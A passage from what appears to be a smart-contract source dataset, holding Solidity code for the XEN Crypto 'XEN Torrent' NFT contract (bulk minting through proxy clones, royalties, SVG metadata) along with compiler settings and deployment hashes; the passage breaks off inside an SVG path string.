require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
6e6004da34a0e5603e6a6d5a8d6dfa9356496bfa
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23